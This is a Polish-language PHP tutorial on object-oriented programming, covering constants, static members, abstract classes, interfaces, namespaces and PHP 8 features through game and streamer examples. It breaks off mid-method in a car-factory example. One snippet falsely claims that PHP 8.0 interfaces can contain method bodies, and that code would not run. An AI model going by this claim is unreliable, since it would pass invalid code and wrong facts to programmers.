<p>Aby zadeklarować stałą, używaliśmy dotychczas konstrukcji&nbsp;<em><strong>define()</strong></em>, możemy to też zrobić używając modyfikatora&nbsp;<em><strong>const</strong></em>. Pamiętać należy, że jedna i druga konstrukcja nie są sobie równe.&nbsp; Za pomocą<em><strong>&nbsp;const</strong></em>&nbsp;definiujemy stałe w klasach i tylko w nich.</p>
<p>Aby się do niej odwołać wewnątrz klasy, musimy użyć modyfikatora&nbsp;<strong><em>self::</em></strong></p>
<p>Aby wywołać właściwość poza klasą używamy modyfikatora&nbsp;<strong><em>nazwaKlasy::</em></strong></p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class KonfiguracjaGry {
    const MAX_GRACZY = 100;
    const MIN_POZIOM = 1;
    const MAX_POZIOM = 100;
    
    private $liczbaGraczy;
    
    public function __construct($liczbaGraczy) {
        $this-&gt;liczbaGraczy = $liczbaGraczy;
    }
    
    public function mozeDolczyc() {
        return $this-&gt;liczbaGraczy &lt; self::MAX_GRACZY;
    }
}

// KonfiguracjaGry::MAX_GRACZY = 200;  // Nie można modyfikować

$gra = new KonfiguracjaGry(85);
echo 'Czy można dołączyć: ' . ($gra-&gt;mozeDolczyc() ? 'TAK' : 'NIE') . '&lt;br&gt;';
echo 'Maksymalna liczba graczy: ' . KonfiguracjaGry::MAX_GRACZY . '&lt;br&gt;';
echo 'Maksymalny poziom: ' . KonfiguracjaGry::MAX_POZIOM . '&lt;br&gt;';
?&gt;</code></pre>



<h2>Metody i właściwości statyczne</h2>
<p>Metody i właściwości statyczne to takie, które nie wymagają utworzenia obiektu, aby móc się do nich odwołać. Nadawane są dla całej klasy. Tworzymy je przy pomocy modyfikatora&nbsp;<strong><em>static</em></strong>.</p>
<p>Z racji tego, że właściwość ta nadawana jest dla klasy (nie dla obiektu), aby się do niej odwołać wewnątrz klasy, musimy użyć modyfikatora&nbsp;<strong><em>self::</em></strong>, nie korzystamy w tym przypadku z&nbsp;<strong><em>$this</em></strong>. Aby wywołać właściwość poza klasą używamy modyfikatora&nbsp;<strong><em>nazwaKlasy::</em></strong></p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class LicznikGraczy {
    public static $iloscGraczy = 0;
    
    public function __construct() {
        self::$iloscGraczy++;
    }
}

echo 'Graczy online: ' . LicznikGraczy::$iloscGraczy . '&lt;br&gt;';  // Wartość początkowa: 0

$gracz1 = new LicznikGraczy();
$gracz2 = new LicznikGraczy();
$gracz3 = new LicznikGraczy();

echo 'Graczy online: ' . LicznikGraczy::$iloscGraczy . '&lt;br&gt;';  // Wartość po dodaniu: 3
?&gt;</code></pre>



<h2>Klasy i metody abstrakcyjne</h2>
<p>Klasa abstrakcyjna definiuje pewien model i zachowanie obiektu.</p>
<p>Taka klasa nie posiada definicji tych metod, jedynie ich deklaracje, że gdzieś dalej w kodzie muszą się pojawić. Czyli do czasu rozszerzenia ich o funkcjonalności w klasach dziedziczących, te metody nie istnieją (są abstrakcją).</p>
<p>Metody abstrakcyjne definiujemy w klasie bazowej klauzulą&nbsp;<strong><em>abstract</em></strong>. Wszystkie tego typu zadeklarowane metody będą musiały pojawić się w klasach dziedziczących. Jeśli nie pojawią się, to PHP wygeneruje nam błąd.</p>
<p><strong>Nie można utworzyć obiektu klasy abstrakcyjnej.</strong>&nbsp;Klasa ta jest jedynie „bazą” dla klas potomnych.</p>
<p>Pamiętamy, że klasę dziedziczymy i możemy zrobić to tylko raz.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
abstract class PostacGry {
    abstract public function getNazwa();
    abstract public function atak();
}

class Mag extends PostacGry {
    public function getNazwa() {
        return 'Mag';
    }
    
    public function atak() {
        return 'Rzuca zaklęcie!';
    }
}

class Wojownik extends PostacGry {
    public function getNazwa() {
        return 'Wojownik';
    }
    
    public function atak() {
        return 'Uderza mieczem!';
    }
}

$mag = new Mag();
echo $mag-&gt;getNazwa() . ': ' . $mag-&gt;atak() . '&lt;br&gt;';

$wojownik = new Wojownik();
echo $wojownik-&gt;getNazwa() . ': ' . $wojownik-&gt;atak() . '&lt;br&gt;';
?&gt;</code></pre>



<h2>Interfejsy</h2>
<p>Interfejs jest zbiorem metod jakie wymagamy by posiadała klasa, która go implementuje.</p>
<p><strong>Możemy implementować wiele</strong>&nbsp;interfejsów dla jednej klasy.</p>
<p>Wszystkie metody określane w interfejsie są abstrakcyjne.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
interface PostacInterface {
    public function getNazwa(): string;
    public function getPoziom(): int;
}

interface WalkaInterface {
    public function atak(): string;
    public function obrona(): string;
}

class Bohater implements PostacInterface, WalkaInterface {
    private $nazwa;
    private $poziom;
    
    public function __construct(string $nazwa, int $poziom) {
        $this-&gt;nazwa = $nazwa;
        $this-&gt;poziom = $poziom;
    }
    
    public function getNazwa(): string {
        return $this-&gt;nazwa;
    }

    public function getPoziom(): int {
        return $this-&gt;poziom;
    }

    public function atak(): string {
        return "{$this-&gt;nazwa} atakuje!";
    }
    
    public function obrona(): string {
        return "{$this-&gt;nazwa} broni się!";
    }
}

$bohater = new Bohater('Aragorn', 50);
echo $bohater-&gt;getNazwa() . '&lt;br&gt;';
echo 'Poziom: ' . $bohater-&gt;getPoziom() . '&lt;br&gt;';
echo $bohater-&gt;atak() . '&lt;br&gt;';
echo $bohater-&gt;obrona() . '&lt;br&gt;';
?&gt;</code></pre>



<h2 class="wp-block-heading">Różnice między interfejsem, a klasą abstrakcyjną</h2>



<ul class="wp-block-list">
<li>klasa może implementować wiele interfejsów, ale rozszerzać tylko jednego rodzica</li>



<li>metody w interfejsie są publiczne, w klasie publiczne lub chronione</li>



<li>interfejs może zawierać tylko deklaracje metod, a klasa też metody zdefiniowane</li>



<li>klasy abstrakcyjne mogą zawierać atrybuty(pola), interfejsy nie</li>



<li>w interfejsach wszystkie metody są abstrakcyjne, natomiast w klasie abstrakcyjnej można stworzyć metody posiadające ciało, jak i abstrakcyjne</li>



<li>klasa abstrakcyjna zazwyczaj jest ściśle związana z klasami dziedziczącymi w sensie logicznym, czyli np. tworzymy klasę abstrakcyjną Planeta po której dziedziczą konkretne klasy planet (np. Ziemia, Mars). Interfejs natomiast nie musi być już tak mocno związany z daną klasą, on określa jej cechy, np możesz stworzyć interfejs Zniszczalny, który mówi że dany obiekt może zostać zniszczony. Taki interfejs możesz nadać zarówno klasą Planeta, Gwiazda, Budynek itp.</li>



<li>interfejs może dziedziczyć jedynie po innych interfejsach, a klasa abstrakcyjna może dziedziczyć po klasach abstrakcyjnych, interfejsach a nawet zwykłych klasach</li>



<li>interfejs nie może mieć konstruktora, w klasie abstrakcyjnej możemy dostarczyć implementację konstruktora domyślnego</li>
</ul>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP 8.0+ - interfejsy mogą mieć metody z implementacją (rzadko używane)
interface Logger {
    public function log(string $message): void;
    
    // PHP 8.0+ - metoda z implementacją w interfejsie
    public function logError(string $message): void {
        $this-&gt;log("ERROR: " . $message);
    }
}</code></pre>



<h2 class="wp-block-heading">Przestrzenie nazw</h2>



<p class="wp-block-paragraph">Przestrzenie nazw pozwalają na zadeklarowanie wielu klas lub funkcji o tej samej nazwie.</p>



<p class="wp-block-paragraph">W programowaniu jak w życiu, tak samo jak nie mogą w jednym folderze istnieć 2 pliki o tej samej nazwie i rozszerzeniu, tak samo w kodzie PHP dwie tak samo nazwane funkcje lub klasy generują błąd.</p>



<p class="tw-data-text tw-text-large tw-ta wp-block-paragraph"><span class="Y2IQFc" lang="pl">Przestrzenie nazw PHP umożliwiają grupowanie powiązanych klas, interfejsów, funkcji i stałych.</span></p>



<p class="wp-block-paragraph">Zalecane jest tworzenie jednej przestrzeni nazw w jednym pliku.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Przestrzenie nazw pozwalają na organizację kodu i unikanie konfliktów nazw

// Przykład problemu BEZ przestrzeni nazw:
// Jeśli masz dwie biblioteki, które mają klasę o nazwie User, będzie konflikt:

// biblioteka1.php
class User { }

// biblioteka2.php
class User { }  // BŁĄD! Klasa User już istnieje

// --------------------------------------------------

// Rozwiązanie Z przestrzeniami nazw:

// biblioteka1.php
namespace Biblioteka1;
class User { }

// biblioteka2.php
namespace Biblioteka2;
class User { }

// Teraz możesz używać obu:
use Biblioteka1\User as User1;
use Biblioteka2\User as User2;

$user1 = new User1();
$user2 = new User2();</code></pre>



<p class="wp-block-paragraph">Przestrzenie nazw działają jak foldery w systemie plików</p>



<p class="wp-block-paragraph">Zalecane jest: jedna przestrzeń nazw = jeden plik</p>



<p>Konwencja: odpowiadają strukturze folderów (PSR-4)</p>



<p class="wp-block-paragraph"><a href="https://www.php.net/manual/en/language.namespaces.basics.php" target="_blank" rel="noopener">Więcej w dokumentacji</a></p>



<h2 class="wp-block-heading">PHP 8 &#8211; nowości</h2>



<h3 class="wp-block-heading">1. Typed Properties (właściwości typowane)</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na określenie typu dla właściwości klasy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class GraczOnline {
    public string $nick;
    public int $poziom;
    public float $hp;
    public bool $premium;
    
    public function __construct(string $nick, int $poziom) {
        $this-&gt;nick = $nick;
        $this-&gt;poziom = $poziom;
        $this-&gt;hp = 100.0;
        $this-&gt;premium = false;
    }
}

$gracz = new GraczOnline('ProGamer', 45);
// $gracz-&gt;poziom = 'tekst';  // Błąd: Typ musi być int
?&gt;</code></pre>



<h3 class="wp-block-heading">2. Constructor Property Promotion</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na zwięzłe deklarowanie właściwości bezpośrednio w konstruktorze:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP 7 - długie
class GraczStary {
    private string $nick;
    private int $poziom;
    
    public function __construct(string $nick, int $poziom) {
        $this-&gt;nick = $nick;
        $this-&gt;poziom = $poziom;
    }
}

// PHP 8 - zwięzłe
class GraczNowy {
    public function __construct(
        private string $nick,
        private int $poziom,
        private float $hp = 100.0
    ) {}
}

$gracz = new GraczNowy('ProGamer', 45);
?&gt;</code></pre>



<h3 class="wp-block-heading">3. Named Arguments</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na przekazywanie argumentów po nazwie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class PostacGry {
    public function __construct(
        private string $imie,
        private int $poziom = 1,
        private int $hp = 100,
        private int $mana = 50
    ) {}
}

// PHP 7 - musimy podać wszystkie
$postac1 = new PostacGry('Gandalf', 1, 100, 200);

// PHP 8 - możemy pominąć środkowe
$postac2 = new PostacGry(
    imie: 'Gandalf',
    mana: 200,
    poziom: 50
);
?&gt;</code></pre>



<h3 class="wp-block-heading">4. Match Expression</h3>



<p class="wp-block-paragraph">PHP 8 wprowadza match jako lepszą alternatywę dla switch:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class SystemRang {
    public function getRanga(int $punkty): string {
        // PHP 7 - switch
        switch (true) {
            case $punkty &lt; 1000:
                return 'Brązowy';
            case $punkty &lt; 2000:
                return 'Srebrny';
            case $punkty &lt; 3000:
                return 'Złoty';
            default:
                return 'Diamentowy';
        }
        
        // PHP 8 - match (zwięzłe i bezpieczniejsze)
        return match (true) {
            $punkty &lt; 1000 =&gt; 'Brązowy',
            $punkty &lt; 2000 =&gt; 'Srebrny',
            $punkty &lt; 3000 =&gt; 'Złoty',
            default =&gt; 'Diamentowy'
        };
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">5. Nullsafe Operator</h3>



<p class="wp-block-paragraph">PHP 8 wprowadza operator ?-&gt; który zapobiega błędom przy null:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Ekwipunek {
    public ?Bron $bron = null;
}

class Bron {
    public string $nazwa;
}

$gracz = new stdClass();
$gracz-&gt;ekwipunek = new Ekwipunek();

// PHP 7 - długie sprawdzanie
$nazwaBroni = null;
if ($gracz-&gt;ekwipunek !== null &amp;&amp; $gracz-&gt;ekwipunek-&gt;bron !== null) {
    $nazwaBroni = $gracz-&gt;ekwipunek-&gt;bron-&gt;nazwa;
}

// PHP 8 - nullsafe operator
$nazwaBroni = $gracz-&gt;ekwipunek?-&gt;bron?-&gt;nazwa;
?&gt;</code></pre>



<h3 class="wp-block-heading">6. Union Types</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na określenie wielu typów dla jednego parametru:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Gracz {
    // Może być int lub string
    public function setId(int|string $id): void {
        // ...
    }
    
    // Może zwrócić PostacGry lub null
    public function znajdzPostac(string $nazwa): PostacGry|null {
        // ...
    }
}
?&gt;</code></pre>



<h2 class="wp-block-heading">Przykłady</h2>



<h3 class="wp-block-heading">Przykład 1: System Streamingu na Twitchu &#8211; przykład z obszernym komentarzem w kodzie</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
/*
 * ==========================================
 * KLASA STREAMER - System Streamingu Twitch
 * ==========================================
 * 
 * Ta klasa reprezentuje streamera na platformie Twitch.
 * Każdy streamer ma:
 * - pseudonim (nick)
 * - liczbę subskrybcji
 * - liczbę followerów
 * - status online/offline
 */

class Streamer {
    
    /*
     * KONSTRUKTOR - metoda automatycznie wywoływana przy tworzeniu obiektu
     * 
     * PHP 8 - Constructor Property Promotion:
     * Parametry konstruktora automatycznie stają się właściwościami klasy.
     * To skrót, który oszczędza pisanie kodu.
     * 
     * Tradycyjny sposób (PHP 7):
     * -------------------------
     * private string $nick;
     * public function __construct(string $nick) {
     *     $this-&gt;nick = $nick;
     * }
     * 
     * Nowy sposób (PHP 8):
     * --------------------
     * public function __construct(private string $nick) {}
     * 
     * Oba robią to samo, ale PHP 8 jest krócej!
     */
    public function __construct(
        private string $nick,              // Pseudonim streamera (WYMAGANE - brak wartości domyślnej)
        private int $subskrybcje = 0,      // Liczba subskrybcji (domyślnie 0)
        private int $followers = 0,         // Liczba followerów (domyślnie 0)
        private bool $czyOnline = false    // Status online (domyślnie false = offline)
    ) {
        /*
         * Ciało konstruktora jest PUSTE {}, ponieważ PHP 8 automatycznie:
         * 1. Tworzy prywatne właściwości: $nick, $subskrybcje, $followers, $czyOnline
         * 2. Przypisuje im wartości przekazane przy tworzeniu obiektu
         * 
         * Gdybyśmy chcieli coś dodatkowego zrobić przy tworzeniu obiektu,
         * moglibyśmy napisać tu dodatkowy kod, np:
         * echo "Utworzono konto dla {$this-&gt;nick}!";
         */
    }
    
    /*
     * METODA: rozpocznijStream()
     * --------------------------
     * Uruchamia stream - zmienia status streamera na "online"
     * 
     * public - metoda jest dostępna z zewnątrz klasy
     * void - metoda nie zwraca żadnej wartości (tylko wykonuje akcję)
     */
    public function rozpocznijStream(): void {
        // Zmieniamy właściwość $czyOnline na true
        // $this-&gt; oznacza "tego obiektu" (tego konkretnego streamera)
        $this-&gt;czyOnline = true;
        
        // Wyświetlamy komunikat
        // {$this-&gt;nick} wstawia wartość właściwości $nick do tekstu
        echo "{$this-&gt;nick} rozpoczął stream!&lt;br&gt;";
    }
    
    /*
     * METODA: zakonczStream()
     * -----------------------
     * Kończy stream - zmienia status streamera na "offline"
     */
    public function zakonczStream(): void {
        // Ustawiamy status na offline
        $this-&gt;czyOnline = false;
        
        // Wyświetlamy komunikat
        echo "{$this-&gt;nick} zakończył stream!&lt;br&gt;";
    }
    
    /*
     * METODA: dodajSuba()
     * -------------------
     * Dodaje jedną subskrybcję do konta streamera
     * 
     * Dlaczego metoda zamiast bezpośredniego dostępu?
     * ------------------------------------------------
     * Właściwość $subskrybcje jest PRIVATE, więc nie można jej zmienić z zewnątrz:
     * 
     * ŹLE (nie zadziała):
     *   $streamer-&gt;subskrybcje = 999;  // BŁĄD! Właściwość jest private
     * 
     * DOBRZE (zadziała):
     *   $streamer-&gt;dodajSuba();  // OK! Używamy publicznej metody
     * 
     * Zalety tego podejścia:
     * - Kontrola: możemy dodać walidację (np. sprawdzić czy sub jest ważny)
     * - Bezpieczeństwo: nikt nie ustawi liczby subów na -100
     * - Logika biznesowa: możemy dodać dodatkowe akcje (np. powiadomienia)
     */
    public function dodajSuba(): void {
        // Operator ++ zwiększa wartość o 1
        // Równoznaczne z: $this-&gt;subskrybcje = $this-&gt;subskrybcje + 1;
        $this-&gt;subskrybcje++;
        
        // Wyświetlamy komunikat z aktualną liczbą subów
        echo "Nowy sub! Razem: {$this-&gt;subskrybcje}&lt;br&gt;";
        
        /*
         * MIEJSCE NA ROZBUDOWĘ:
         * Tutaj moglibyśmy dodać dodatkową logikę, np:
         * 
         * if ($this-&gt;subskrybcje % 100 == 0) {
         *     echo "MILESTONE! {$this-&gt;subskrybcje} subów!&lt;br&gt;";
         * }
         * 
         * Albo:
         * if ($this-&gt;subskrybcje == 1000) {
         *     echo "Gratulacje! 1000 subskrypcji!&lt;br&gt;";
         * }
         */
    }
    
    /*
     * METODA: wyswietlStatus()
     * ------------------------
     * Wyświetla pełny status streamera:
     * - pseudonim
     * - czy jest online/offline
     * - liczba subskrybcji
     * - liczba followerów
     */
    public function wyswietlStatus(): void {
        /*
         * OPERATOR TRÓJARGUMENTOWY (ternary operator):
         * -------------------------------------------
         * Składnia: warunek ? wartość_jeśli_prawda : wartość_jeśli_fałsz
         * 
         * Długa wersja (identyczne działanie):
         * if ($this-&gt;czyOnline == true) {
         *     $status = 'LIVE';
         * } else {
         *     $status = 'OFFLINE';
         * }
         * 
         * Krótka wersja:
         * $status = $this-&gt;czyOnline ? 'LIVE' : 'OFFLINE';
         */
        $status = $this-&gt;czyOnline ? 'LIVE' : 'OFFLINE';
        
        // Wyświetlamy nagłówek z pseudonimem i statusem
        echo "--- {$this-&gt;nick} &#91;{$status}] ---&lt;br&gt;";
        
        // Wyświetlamy szczegóły
        echo "Subskrybcje: {$this-&gt;subskrybcje}&lt;br&gt;";
        echo "Followersi: {$this-&gt;followers}&lt;br&gt;";
    }
}

/*
 * ==========================================
 * UŻYCIE KLASY - Tworzenie obiektu i praca z nim
 * ==========================================
 */

/*
 * TWORZENIE OBIEKTU (instancji klasy):
 * ------------------------------------
 * Słowo kluczowe 'new' tworzy nowy obiekt na podstawie klasy Streamer
 * 
 * new Streamer(...) wywołuje konstruktor i przekazuje do niego argumenty:
 * - 'GamingLegend' → przypisane do $nick
 * - 150 → przypisane do $subskrybcje
 * - 5000 → przypisane do $followers
 * - $czyOnline nie podane, więc dostaje wartość domyślną: false
 * 
 * Obiekt zapisujemy w zmiennej $streamer
 */
$streamer = new Streamer('GamingLegend', 150, 5000);

/*
 * Co się stało w pamięci?
 * -----------------------
 * Utworzono obiekt $streamer z następującymi wartościami:
 * 
 * $streamer:
 *   ├─ $nick = 'GamingLegend'
 *   ├─ $subskrybcje = 150
 *   ├─ $followers = 5000
 *   └─ $czyOnline = false
 */

// WYWOŁANIE METODY: wyswietlStatus()
// ----------------------------------
// Operator -&gt; służy do wywoływania metod i dostępu do właściwości obiektu
// Wywołujemy metodę wyswietlStatus() na obiekcie $streamer
$streamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 150
 * Followersi: 5000
 */

echo "&lt;br&gt;"; // Odstęp dla czytelności

// WYWOŁANIE METODY: rozpocznijStream()
// ------------------------------------
// Zmieniamy status streamera na "online"
$streamer-&gt;rozpocznijStream();
/*
 * Dzieje się:
 * 1. $czyOnline zmienia się na true
 * 2. Wyświetla się: GamingLegend rozpoczął stream!
 */

// WYWOŁANIE METODY: dodajSuba() - pierwsze wywołanie
// --------------------------------------------------
// Dodajemy pierwszą subskrybcję
$streamer-&gt;dodajSuba();
/*
 * Dzieje się:
 * 1. $subskrybcje zwiększa się z 150 do 151
 * 2. Wyświetla się: Nowy sub! Razem: 151
 */

// WYWOŁANIE METODY: dodajSuba() - drugie wywołanie
// ------------------------------------------------
// Dodajemy kolejną subskrybcję
$streamer-&gt;dodajSuba();
/*
 * Dzieje się:
 * 1. $subskrybcje zwiększa się z 151 do 152
 * 2. Wyświetla się: Nowy sub! Razem: 152
 */

// WYWOŁANIE METODY: zakonczStream()
// ---------------------------------
// Kończymy stream
$streamer-&gt;zakonczStream();
/*
 * Dzieje się:
 * 1. $czyOnline zmienia się na false
 * 2. Wyświetla się: GamingLegend zakończył stream!
 */

echo "&lt;br&gt;"; // Odstęp dla czytelności

// WYWOŁANIE METODY: wyswietlStatus() - ponownie
// ---------------------------------------------
// Wyświetlamy status po zakończeniu streamu
$streamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 152  &lt;-- Zauważ: zwiększyło się z 150 do 152
 * Followersi: 5000
 * 
 * Status zmienił się z LIVE na OFFLINE
 */

/*
 * ==========================================
 * PEŁNY OUTPUT PROGRAMU:
 * ==========================================
 * 
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 150
 * Followersi: 5000
 * 
 * GamingLegend rozpoczął stream!
 * Nowy sub! Razem: 151
 * Nowy sub! Razem: 152
 * GamingLegend zakończył stream!
 * 
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 152
 * Followersi: 5000
 */

/*
 * ==========================================
 * DODATKOWE PRZYKŁADY - Tworzenie wielu streamerów
 * ==========================================
 */

echo "&lt;hr&gt;&lt;h3&gt;Dodatkowe przykłady:&lt;/h3&gt;";

// Przykład 1: Nowy streamer z minimalnymi danymi
// ----------------------------------------------
// Podajemy tylko nick (reszta dostanie wartości domyślne)
$nowyStreamer = new Streamer('RookiePlayer');
/*
 * Wartości:
 * - $nick = 'RookiePlayer'
 * - $subskrybcje = 0 (domyślna)
 * - $followers = 0 (domyślna)
 * - $czyOnline = false (domyślna)
 */

$nowyStreamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * --- RookiePlayer &#91;OFFLINE] ---
 * Subskrybcje: 0
 * Followersi: 0
 */

echo "&lt;br&gt;";

// Przykład 2: Wielki streamer
// ---------------------------
$megaStreamer = new Streamer('xQcOW', 85000, 1500000);
$megaStreamer-&gt;rozpocznijStream();
$megaStreamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * xQcOW rozpoczął stream!
 * --- xQcOW &#91;LIVE] ---
 * Subskrybcje: 85000
 * Followersi: 1500000
 */

echo "&lt;br&gt;";

// Przykład 3: Porównanie dwóch streamerów
// ----------------------------------------
echo "&lt;h4&gt;Porównanie streamerów:&lt;/h4&gt;";

$streamer1 = new Streamer('Ninja', 75000, 180000);
$streamer2 = new Streamer('Shroud', 50000, 100000);

// Obaj zaczynają stream
$streamer1-&gt;rozpocznijStream();
$streamer2-&gt;rozpocznijStream();

echo "&lt;br&gt;";

// Wyświetlamy ich statusy
echo "Status Ninja:&lt;br&gt;";
$streamer1-&gt;wyswietlStatus();

echo "&lt;br&gt;";

echo "Status Shroud:&lt;br&gt;";
$streamer2-&gt;wyswietlStatus();

/*
 * WAŻNA OBSERWACJA:
 * -----------------
 * Każdy obiekt ($streamer1, $streamer2) ma WŁASNE wartości właściwości.
 * Zmiana wartości w jednym obiekcie NIE WPŁYWA na drugi obiekt.
 * 
 * To tak jakby mieć dwa oddzielne konta na Twitchu - każde jest niezależne.
 */

/*
 * ==========================================
 * KLUCZOWE POJĘCIA - PODSUMOWANIE:
 * ==========================================
 * 
 * 1. KLASA (class):
 *    - Szablon/przepis na tworzenie obiektów
 *    - Definiuje jakie właściwości i metody będą miały obiekty
 * 
 * 2. OBIEKT (object/instancja):
 *    - Konkretny "egzemplarz" utworzony na podstawie klasy
 *    - Tworzy się słowem kluczowym 'new'
 * 
 * 3. WŁAŚCIWOŚCI (properties):
 *    - Zmienne należące do obiektu
 *    - W naszym przykładzie: $nick, $subskrybcje, $followers, $czyOnline
 * 
 * 4. METODY (methods):
 *    - Funkcje należące do klasy
 *    - Operują na właściwościach obiektu
 *    - W naszym przykładzie: rozpocznijStream(), dodajSuba(), wyswietlStatus()
 * 
 * 5. $this:
 *    - Odnosi się do "bieżącego obiektu"
 *    - Używamy go w metodach aby dostać się do właściwości obiektu
 * 
 * 6. MODYFIKATORY DOSTĘPU:
 *    - private: dostęp tylko wewnątrz klasy
 *    - public: dostęp z każdego miejsca
 * 
 * 7. KONSTRUKTOR (__construct):
 *    - Specjalna metoda wywoływana automatycznie przy tworzeniu obiektu
 *    - Służy do inicjalizacji (ustawienia początkowych wartości)
 * 
 * 8. OPERATOR -&gt; :
 *    - Służy do dostępu do właściwości i metod obiektu
 *    - Składnia: $obiekt-&gt;metoda() lub $obiekt-&gt;właściwość
 */
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład z wizualizacją stanu obiektów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Wizualizacja jak zmieniają się dane w obiekcie

echo "&lt;h3&gt;Śledzenie zmian w obiekcie krok po kroku:&lt;/h3&gt;";

// Krok 1: Tworzenie obiektu
echo "&lt;strong&gt;KROK 1: Tworzenie obiektu&lt;/strong&gt;&lt;br&gt;";
$streamer = new Streamer('TestStreamer', 10, 100);
echo "Utworzono streamera. Stan obiektu:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 10
 * $followers = 100
 * $czyOnline = false
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Krok 2: Rozpoczęcie streamu
echo "&lt;strong&gt;KROK 2: Rozpoczęcie streamu&lt;/strong&gt;&lt;br&gt;";
$streamer-&gt;rozpocznijStream();
echo "Stan obiektu po rozpoczęciu:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 10
 * $followers = 100
 * $czyOnline = true  &lt;-- ZMIANA!
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Krok 3: Dodanie 3 subskrybcji
echo "&lt;strong&gt;KROK 3: Dodanie 3 subskrybcji&lt;/strong&gt;&lt;br&gt;";
$streamer-&gt;dodajSuba();
$streamer-&gt;dodajSuba();
$streamer-&gt;dodajSuba();
echo "Stan obiektu po dodaniu subów:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 13  &lt;-- ZMIANA! (było 10, teraz 13)
 * $followers = 100
 * $czyOnline = true
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Krok 4: Zakończenie streamu
echo "&lt;strong&gt;KROK 4: Zakończenie streamu&lt;/strong&gt;&lt;br&gt;";
$streamer-&gt;zakonczStream();
echo "Stan obiektu po zakończeniu:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 13
 * $followers = 100
 * $czyOnline = false  &lt;-- ZMIANA!
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Podsumowanie
echo "&lt;strong&gt;PODSUMOWANIE ZMIAN:&lt;/strong&gt;&lt;br&gt;";
echo "Początek: 10 subskrybcji, OFFLINE&lt;br&gt;";
echo "Koniec: 13 subskrybcji, OFFLINE&lt;br&gt;";
echo "Różnica: +3 subskrybcje&lt;br&gt;";
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 2: OOP obsługujące fabrykę samochodów</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Klasa bazowa dla fabryki Chevrolet
class ChevroletFactory {
    // Stała reprezentująca maksymalną pojemność produkcji
    const MAX_CAPACITY = 500;

    // Właściwości klasy
    protected $brand = "Chevrolet";
    protected $producedCars = 0;

    // Konstruktor inicjalizuje fabrykę
    public function __construct() {
        echo "Fabryka marki {$this-&gt;brand} została otwarta.&lt;br&gt;";
    }

    // Metoda do produkcji samochodów
    public function produceCar($quantity) {
        if ($this-&gt;producedCars + $quantity &gt; self::MAX_CAPACITY) {
            echo "Nie można wyprodukować $quantity samochodów. Przekroczono maksymalną pojemność produkcyjną.&lt;br&gt;";
        } else {
            $this-&gt;producedCars += $quantity;
            echo "Wyprodukowano $quantity samochodów. Łączna produkcja: {$this-&gt;producedCars}.&lt;br&gt;";
        }
    }

    // Metoda do wyświetlenia statusu produkcji
    public function factoryStatus() {
        echo "Fabryka marki {$this-&gt;brand} wyprodukowała {$this-&gt;producedCars} samochodów.&lt;br&gt;";
    }

    // Magiczna metoda __get. Obsługuje odczyt nieistniejących właściwości.
    public function __get($name) {
        echo "Próba dostępu do właściwości '{$name}', która nie istnieje.&lt;br&gt;";
        return null;
    }

    // Magiczna metoda __set. Obsługuje próbę ustawienia niedozwolonych właściwości.
    public function __set($name, $value) {
